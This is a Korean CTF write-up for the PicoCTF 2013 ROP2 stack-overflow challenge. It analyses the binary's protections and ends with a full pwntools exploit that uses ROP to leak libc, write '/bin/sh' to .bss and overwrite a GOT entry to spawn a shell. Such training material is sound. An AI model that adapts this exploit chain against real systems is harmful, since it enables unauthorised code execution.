CTF Write-Up

Pico CTF 2013 ROP2 write-up

fkillrra 2018. 3. 10. 16:40

Pico CTF 2013 ROP 2 문제를 풀이했다.


[바이너리]

rop2-20f65dd0bcbe267d




메모리 보호 기법 확인을 해보면



이렇게 Partial RELRO 와 NX가 걸려있는것을 확인 할 수 있다.



실행을 했을때 rop1 과 동일하게 Hello, World 만 뱉어준다.


[Think-1]

메모리 보호 기법중 NX 가 걸려있으므로 쉘코드를 스택에 올려서 쉘을 띄울 수는 없다.

또 Partial RELRO가 적용되어서 .got를 제외한 섹션은 Read-Only 이다.

ASLR은 자체적으로 걸어두었다.




바로 정적분석을 위해 IDA로 열어봤다.



main() 의 모습이다.

저 중 vulnerable_function() 가 있는데 주석을 달아놓은것 처럼 140byte를 입력하면 SFP가 덮이고, overflow가 일어난다.



vulnerable_function()의 내부 모습이다.


여기서도 not_called 라는 함수를 찾을 수 있었는데



이번에는 system("/bin/date"); 로 날짜정보를 출력해주는 것을 알 수 있다.


[Think-2]

쉘코드는 안되니 다른 기법을 사용해야하는데

read()와 write()를 이용하여 ROP를 하면 되겠다.




ROP 를 하기 위해 필요한 것들을 구해주고 pwn 모듈을 사용하여 Payload를 만들어줬다.


read()와 write()에 대한

plt 와 got는 IDA와 gdb를 이용하여 구하고


/bin/sh 을 저장할 bss의 주소와 함수 인자를 정리하며 연속적으로 함수를 호출에 필요한 pppr gadget은

objdump 로 구해주면 된다.


그리고 system_offset은 gdb를 이용하여 구하면된다.


따라서 이런 payload를 완성했다.


[payload.py]


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
 
= process('./rop2-20f65dd0bcbe267d')
 
bss = 0x0804a028
pppr =  0x804859d
read_plt =  0x08048380
read_got = 0x804a000
write_plt = 0x80483d0
write_got = 0x804a014
system_offset = 0x99a10
 
payload = 'A' * 140
 
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
 
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
 
payload += p32(write_plt)
payload += "AAAA"
payload += p32(bss)
 
p.send(payload)
 
read_addr = u32(p.recv()[-4:])
system_addr = read_addr - system_offset
 
p.send("/bin/sh\00")
 
p.send(p32(system_addr))
 
p.interactive()
cs


반응형